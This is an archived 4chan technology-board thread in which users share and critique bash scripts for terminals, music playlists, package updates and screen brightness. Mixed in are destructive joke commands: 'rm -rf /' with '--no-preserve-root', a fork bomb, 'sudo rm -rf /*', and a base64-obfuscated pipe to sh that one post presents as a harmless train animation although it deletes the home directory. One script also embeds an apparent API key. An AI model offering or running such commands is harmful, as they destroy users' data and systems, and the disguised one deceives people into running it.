[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

Bash Thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 76
Thread images: 8

File: bash thread.jpg (16KB, 500x500px) Image search: [Google]
bash thread.jpg
16KB, 500x500px
Anyone up for sharing useful bash scripts?
>>
>>55838337

……………………„„-~^^~„-„„_
………………„-^*'' : : „'' : : : : *-„
…………..„-* : : :„„--/ : : : : : : : '\
…………./ : : „-* . .| : : : : : : : : '|
……….../ : „-* . . . | : : : : : : : : |
………...\„-* . . . . .| : : : : : : : :'|
……….../ . . . . . . '| : : : : : : : :|
……..../ . . . . . . . .'\ : : : : : : : |
……../ . . . . . . . . . .\ : : : : : : :|
……./ . . . . . . . . . . . '\ : : : : : /
….../ . . . . . . . . . . . . . *-„„„„-*'
….'/ . . . . . . . . . . . . . . '|
…/ . . . . . . . ./ . . . . . . .|
../ . . . . . . . .'/ . . . . . . .'|
./ . . . . . . . . / . . . . . . .'|
'/ . . . . . . . . . . . . . . . .'|
'| . . . . . \ . . . . . . . . . .|
'| . . . . . . \„_^- „ . . . . .'|
'| . . . . . . . . .'\ .\ ./ '/ . |
| .\ . .THE . . . \ .'' / . '|
| . . . GAME . / .'/ . . .|
| . . . . . . .| . . / ./ ./ . .|
>>
Install GNU Parallel
>>
rm -rf /
>>
>>55838337
:(){ :|:& };:
>>
yall think webM bash scripts will work on windows bash?
>>
>>55840046
wat?
>>
>>55838337
#!/bin/bash
BADARG="165"

if [ $# != 2 ]
then
echo two parameters are required!
exit "$BADARG"
fi

for file in `ls -A "$1"`
do
if [ -d "$2" ]
then
mv "$file" $2\/"$file"
else
mv "$file" "$file"."$2"
fi
done

#END
>>
>>55840253
i prefer my shell scripts to be portable, thanks
>>
>>55838648
this is my favorite one
>>
>>55841202
>for file in `ls -A "$1"`

Kill me now. Use this

>for file in $1/*

Otherwise if you have a filename with spaces in it, etc.. you run into problems
>>
>>55841229

call it 'nt' and run it like so:
'nt 2' or 'nt 2 echo "hi"'

it creates a new terminal from the cwd of the one you're currently starting it from. it also executes a command in the spawned one. you'll likely have to hack it a bit to work

#!/usr/bin/env bash
set -euo pipefail

function is_number() {
# no number given, start one term by default
if [ "${#}" -eq 0 ]; then
echo '1'
return 0
fi

case ${1} in
''|*[!0-9]*) echo '1';;
*) echo ${1};;
esac

return 0
}

function is_command() {
if [ "${#}" -eq 0 ]; then
# no command given, just start a shell
echo ":"
else
# pass command and start a shell after it
echo "${@}"
fi;

return 0
}


function spawn_terms() {
local cmd=${@:2}
local exec_cmd=""

case "${TERMINAL}" in
*lxterminal)
if [ "${cmd}" != ":" ]; then
echo "lxterminal doesn't support spawning AND command execution."
fi

exec_cmd="${TERMINAL} --working-directory='${PWD}' -e '${SHELL}'"
;;
*urxvtc)
exec_cmd="${TERMINAL} -cd '${PWD}' -e ${SHELL} -c \"${cmd}; exec ${SHELL} -i\""
;;
*termite)
exec_cmd="${TERMINAL} -d '${PWD}' -e \"${SHELL} -c '${cmd};${SHELL}'\""
;;
*)
echo "unknown terminal name ${TERMINAL}, assuming urxvt interface."
exec_cmd="${TERMINAL} -cd '${PWD}' -e ${SHELL} -c \"${cmd}; exec ${SHELL} -i\""
;;
esac

for i in $(seq 1 ${1}); do
eval "${exec_cmd}"
done

return 0
}

function main() {
local num_terms=$(is_number ${@:1})
local shell_cmd=$(is_command ${@:2})
spawn_terms ${num_terms} ${shell_cmd}

return 0
}

main "${@}"
>>
Suddenly commands in my script won't run past a while block.
What do? Permissions check out and it was running fine before I left the VM to do uploads.

>>55841310
$1 expands to "VALUE".
By using $1\* you're doing similar.
>>
>>55841202
>
BADARG="165"

>
exit "$BADARG"

What's the point of this? Just exit 165

>#END
boi
>>
#!/usr/bin/env bash

navyseal_copypasta="What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo."

if [ "$(uname)" == "Darwin" ]; then
say $navyseal_copypasta
else
echo $navyseal_copypasta | espeak
fi
>>
>>55839864
>rm -rf /
--no-preserve-root
>>
File: 1467779436853.gif (1MB, 350x240px) Image search: [Google]
1467779436853.gif
1MB, 350x240px
If you use mpd, mpc and last.fm, this (might be useful to you. It makes a playlist of all the tracks you loved in last. fm. Constructive criticism appreciated.

#!/bin/bash

read -rp "Type your username: " input
username=$input

lastfm_key="f9e25a0e8454787a5cb9a840cc9b6baf"
url="ws.audioscrobbler.com"
path="/2.0/?method=user.getLovedTracks&user=$username&api_key=$lastfm_key&limit=1000"
beginning_lines="<lfm status=\"ok\"><lovedtracks user=\"$username\" page=\"1\" perPage=\"1000\" totalPages=\"1\" total=\".*\""
(( loop=1 ))

extract_tracks_artists ()
{
wget "$url$path" -qO - | grep -e '<name>' | sed "s/$beginning_lines//" | sed 's/<.[a-z]*//g' | sed 's/>//g' | sed -e 's/&quot;/\"/g' | sed -e "s/\&apos;/\'/g" | awk 'BEGIN { FS="
"; RS=""; OFS=" "} { x=2; y=1 } { while (x < 340) { print $x, $y; x+=2; y+=2 } }' - > .loveplaylist.txt
}

ask ()
{
if [ -f ~/.mpd/playlists/My\ Favorite\ Tracks.m3u ]; then
echo "Do you want to overwrite your current playlist? (y/n):"
read -n 1 choice
if [ $choice = y ]; then
echo -e "
"
rm ~/.mpd/playlists/My\ Favorite\ Tracks.m3u
elif [ $choice = n ]; then
exit
else
echo "Sorry, didn't catch that..."
sleep 1
ask
fi
fi
}

ask
extract_tracks_artists
$(( end=$(wc -l < .loveplaylist.txt)+1 )) > /dev/null 2>&1 && mpc clear > dev/null
echo "Please Wait..."

until [[ $loop = $end ]]; do
mpc findadd artist "$(cat .loveplaylist.txt | sed -n -e "$loop p" | awk 'BEGIN { FS=" " } { print $1 }' - )" title "$(cat .loveplaylist.txt | sed -n -e "$loop p" | awk 'BEGIN { FS=" " } { print $2 }' - )" > /dev/null
(( ++loop ))
done

rm .loveplaylist.txt

mpc save "My Favorite Tracks"
mpc clear > /dev/null

echo 'Done!'

>>
>>55842911
btw, replace the echo -e "" with echo -e "\n"
>>
File: 1466070923767.gif (3MB, 450x251px) Image search: [Google]
1466070923767.gif
3MB, 450x251px
Another script I made. You can set a bind to read videos, (and pictures), from the clipboard. requires feh, xsel and mpv

-en 
#!/bin/sh

notify-send -u low -t 1 'Loading...'
xsel | grep -q -e .jpg$ -e .png$ -e .bmp$
if [ "$?" -eq "0" ]; then
feh -FYZ $(xsel)
exit 0
fi

mpv $(xsel)
[ "$?" -eq "0" ] || notify-send 'Error Found...'
>>
>>55842776
>implying I would ever consider running a command containing the words --no-preserve-root
>>
function up( )
{
LIMIT=$1
P=$PWD
for ((i=1; i <= LIMIT; i++))
do
P=$P/..
done
cd $P
export MPWD=$P
}

function back( )
{
LIMIT=$1
P=$MPWD
for ((i=1; i <= LIMIT; i++))
do
P=${P%/..}
done
cd $P
export MPWD=$P
}
>>
>>55843012
this can't be real.
>>
>>55843076
?????
>>
>>55843076
This guy's been around for years. Hard to say how deep cover he is.
>>
Use ksh or ash instead.
>>
>>55838337
Anybody have a bash script for backing up an entire centos 7 desktop pc? Like everything down to the browser configuration. I'm new to this
>>
>>55844245
I'll give you a tip for free. centos isn't for desktop PCs
>>
>>55844245
dd if=/dev/sda1 of=/dev/sdb1
>>
>>55840046
probably if you have ffmpeg installed

>>55840248
you can install bash on windows 10. actually it's basically a whole ubuntu subsystem
>>
>>55844245
do your own work
>>
>>55844496
oh yeah I'm waiting for something to blow up and I will probably get bash as soon as it's not in the preview but as an actual update.
Does it work inside a windows cmd like terminal? or is it actually a different executable?
>>
>>55844320
I'm running it right now it's using gnome 3 DE. Unless you mean it's not the best to use as a desktop os
and is geared towards enterprise and servers then I agree.
>>55844362
Thanks
>>55844505
Thank you also for being honest :^)
>>
>>55840253
zsh can't do stuff like
((++i%x)) && echo "Hello World"
>>
>>55840046
oh and you could also just get/build ffmpeg for windows and modify the scripts for batch or powershell

>>55844518
it runs in a terminal emulator so it looks like a cmd window, but it's a different executable and the environments are somewhat separate. you can install ubuntu packages but they're limited to the ubuntu environment. at least files are accessible from both environments. i imagine that there's probably a way to call the bash executable and forward arguments to it from the windows environment though, which would add at least a bit of flexibility
>>
>>55844178
>>55840253
leave. now!
>>
>>55842941
If you're a real hacker
echo $'\n'
>>
>>55839864
Just did this, nothing happend.
>>
>>55842911
>
read -rp "Type your username: " input
username=$input


Why not?
read -rp "Type your username: " username
>>
>>55844590
>oh and you could also just get/build ffmpeg for windows and modify the scripts for batch or powershell

easier said than done
>>
File: 1454589376615.jpg (59KB, 540x720px) Image search: [Google]
1454589376615.jpg
59KB, 540x720px
>>55848164
Damn, you're right...
>>
>bash
>not sh
>>
#!/bin/sh -e

case "$(uname)" in
"Linux")
RECFLAG=-R;;
"OpenBSD")
RECFLAG=-RP;;
*)
echo "$(basename "$0"): unknown os \"$(uname)\", can not set \
RECFLAG" >&2
false;;
esac

mkpubdirs () {
if [ "$1" != "$HOME" ]
then
mkpubdirs "$(dirname "$1")"
fi
chmod go=u-w "$1"
}

mkpub () {
if ( [ -f "$1" ] || [ -d "$1" ] ) && [ ! -h "$1" ]
then
echo "publishing $(ls -dF "$1")"
mkpubdirs "$(dirname "$1")"
chmod $RECFLAG go=u-w "$1"
fi
}

echo "locking $(env -i ls -dF "$HOME")"
chmod -R a-st,go= "$HOME"
chown -R $(id -u):$(id -g) "$HOME"

mkpub "$HOME/.bash_aliases"
mkpub "$HOME/.bash_profile"
mkpub "$HOME/.bashrc"
mkpub "$HOME/.config/redshift.conf"
mkpub "$HOME/.emacs"
mkpub "$HOME/.emacs.d/lisp"
mkpub "$HOME/.env"
mkpub "$HOME/.env.sh"
mkpub "$HOME/.hgrc"
mkpub "$HOME/.i3status.conf"
mkpub "$HOME/.inputrc"
mkpub "$HOME/.local/share/wesnoth"
mkpub "$HOME/.ssh/authorized_keys"
mkpub "$HOME/.ssh/config"
mkpub "$HOME/.ssh/id_rsa.pub"
mkpub "$HOME/.ssh/id_rsa_aur.pub"
mkpub "$HOME/.ssh/known_hosts"
mkpub "$HOME/.xinitrc"
mkpub "$HOME/.xresources"
mkpub "$HOME/.xsession"
mkpub "$HOME/AUR"
mkpub "$HOME/PERSO/LowDefMkv"
mkpub "$HOME/PERSO/PUBLIC"
mkpub "$HOME/PERSO/SanDisk"
mkpub "$HOME/PERSO/audio"
mkpub "$HOME/PERSO/images"
mkpub "$HOME/Transmission"
mkpub "$HOME/git"
mkpub "$HOME/local"
mkpub "$HOME/mercurial"
>>
>>55847388
sudo !!
>>
>not using zsh
>>
>>55849859
>not scripting in sh regardless of what shell you use
>>
curl --silent 'http://wttr.in/London' | head -7


to display the weather of London with some cool art.
>>
>>55849934
##Show the weather in the desired city##
weather() {
curl -s "http://wttr.in/${1:-Amsterdam}" | head -7
}
>>
How did you learn bash scripting?

Can you post some good resources?
>>
>>55850919
http://www.museum.state.il.us/ismdepts/library/linuxguides/abs-guide/
>>
>>55850994
thanks, is there a pdf version of this, my connection is kinda shit where I am rn
>>
>>55850994
>>55851111
nvm found it
>>
>>55838337
aww man this is my favourite one
echo 'cm0gLXJmIH4vKgo=' | base64 -D | sh


Try it out, a steam locomotive goes across the screen.
>>
>>55851199
I'm too afraid to try that out :(
>>
>>55851199
All that gave me was an invalid option error.
>>
>>55851235
$ echo 'cm0gLXJmIH4vKgo=' | base64 -d
rm -rf ~/*


but his won't work since -D isn't even an option.
>>
Windows babby coming through.

dev () {
if [ "$1" == "-p" ]; then
pythonexec="--python=$2"
shift
shift
elif [ "${1:0:9}" == "--python=" ]; then
pythonexec="$1"
shift
fi

cd ~/d/Pythong

if [ "$*" == "" ]; then
deactivate
title
fi

if [ ! "$*" = "" ]; then
if [ ! -d "$*/$*" ]; then
mkdir -p "$1/$1"
fi
cd "$*/$*"

envname=$(echo "$*" | sed "s/ /-/")
title "$envname"
if [ ! -d "$WORKON_HOME/$envname" ]; then
mkvirtualenv "$pythonexec" "$envname"
else
workon "$envname"
fi
fi
}


Wrote this to move into a project directory and activate the virtual environment for it, or set it all up if it doesn't exist. I was reasonably happy with it, so why not show it to /g/ so they can shit on me.
>>
File: train.gif (511KB, 494x308px) Image search: [Google]
train.gif
511KB, 494x308px
>>55851199
Holy shit
>>
>>55851392
You're not fooling anyone faggot.
>>
>>55851706
You're no fun
>>
>>55843034
sudo rm -rf /*

also works
>>
File: 1460193659224.jpg (115KB, 640x480px) Image search: [Google]
1460193659224.jpg
115KB, 640x480px
>>55851718
>>
>>55851744
Yes anon, I'm completely assblasted because you lack a sense of humour
>>
File: th-thanks.jpg (10KB, 250x249px) Image search: [Google]
th-thanks.jpg
10KB, 250x249px
>>55851762
But I don't, anon!
>>
>>55851782
Sure thing bud
>>
>>55851788
:^)
>>
I use this shitty script to keep my AUR pacakges up to date
#! /bin/bash
cd $HOME/AUR
for dir in */ ; do
cd $dir
git pull
ver=$(grep -m 1 pkgver PKGBUILD)
ver=${ver#*=}
if [[ "$ver" = "\${_ver//-/}" ]]; then
ver=$(grep -m 1 _ver PKGBUILD)
ver=${ver#*=}
fi
cver=$(pacman -Q ${dir%/*})
cver=${cver#* }
cver=${cver%-*}
if [[ "$cver" = "$ver" ]]; then
echo "nothing to do for ${dir%/*} "
else
echo "${dir%/*} is not up to date"
while true; do
read -p "Do you wish to upgrade?(y/n)" yn
case $yn in
y )
makepkg -sri
break;;
n ) break;;
* ) echo "please answer (y/n)"
esac
done
fi
rm -rfv *.pkg.tar.gz
rm -rfv ${dir%/*}
echo '-------------------------------'
cd ..
done
>>
A script to change the backlight of my laptop because the brightness inc/dec buttons didn't just werk
can set or increase/decrease the brightness to an absolute or a percent value, prints the current brightness if called with no arguments
#!/bin/bash
if [[ $# -eq 0 ]] ; then
n=$(cat /sys/class/backlight/intel_backlight/brightness)
echo $n \($(echo $n/4794*100 | bc -l | cut -d . -f 1)%\)
exit
fi
if [[ $1 == *"%"* ]] ; then
n=$(echo $1/100*4794 | sed 's/[%+-]//g' | bc -l | cut -d . -f 1)
else
n=$1
fi
if [[ $1 == *"+" ]] ; then
echo $(cat /sys/class/backlight/intel_backlight/brightness)+$n | bc -l > /sys/class/backlight/intel_backlight/brightness
elif [[ $1 == *"-" ]] ; then
echo $(cat /sys/class/backlight/intel_backlight/brightness)-$n | bc -l > /sys/class/backlight/intel_backlight/brightness
else
echo $n > /sys/class/backlight/intel_backlight/brightness
fi

>>
>>55852041
That's neat anon.
Would it be possible to do the same with keyboards?

Got a Thinkpad X240 with backlit keyboard and been wondering whether it was possible to programmatically interact with the lighting.

I assume you need specific drivers for this?
>>
>>55852124
I didn't need anything special to change the backlight, don't know about keyboards
Check the /sys/class/ folder, chances are it's in there, I think all the leds on my thinkpad are there too, but I haven't figured out how to control them yet
>>
>>55852407
I checked /sys/class/leds but it's empy. I noticed there's also a /sys/class/backlight folder, but it is also empty.

Thanks tho.
>>
I started a thread to ask this question a few days ago, but got no answer.

Why the fuck does bash not remove the backslash when escaping ! Inside a double quote. There seems to be no rationale, and it is seriously annoying.
>>
#!/bin/bash

# This shell script empties syslog-ng files

if [ -f /var/log/auth.log ]
then
echo "" > /var/log/auth.log
if [ -f /var/log/auth.log.old ]
then
rm /var/log/auth.log.old
fi
fi

if [ -f /var/log/dmesg ]
then
echo "" > /var/log/dmesg
if [ -f /var/log/dmesg.old ]
then
rm /var/log/dmesg
fi
fi

if [ -f /var/log/messages ]
then
echo "" > /var/log/messages
if [ -f /var/log/messages.old ]
then
rm /var/log/messages.old
fi
fi
>>
>>55852041
>doesn't bind keys
>>
>>55853329
?
I made the script in order to bind it to those keys if you mean that
>>
>>55842756
>espeak
thanks for this buddy

>>55843012
>-en
what's this?
>>
File: 1469995375444.png (2MB, 1440x1080px) Image search: [Google]
1469995375444.png
2MB, 1440x1080px
>>55854025
# For the benefit of emacs users: -*- shell-script -*-
###########################
# xbindkeys configuration #
###########################
# The format of a command line is:
# "command to start"
# associated key
#
#
# A list of keys is in /usr/include/X11/keysym.h and in
# /usr/include/X11/keysymdef.h
# The XK_ is not needed.
#
# List of modifier:
# Release, Control, Shift, Mod1 (Alt), Mod2 (NumLock),
# Mod3 (CapsLock), Mod4, Mod5 (Scroll).
#

"urxvt"
Mod4 + t

"iceweasel"
Mod4 + w

"thunar"
Mod4 + f

"amixer set Master 5%+"
Mod4 + Up

"amixer set Master 5%-"
Mod4 + Down

"amixer set Master toggle"
Mod4 + F8

"xbacklight -inc 10"
Mod4 + Right

"xbacklight -dec 10"
Mod4 + Left


##################################
# End of xbindkeys configuration #
##################################

a little easier i think

needs xbindkeys tho
Thread posts: 76
Thread images: 8


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.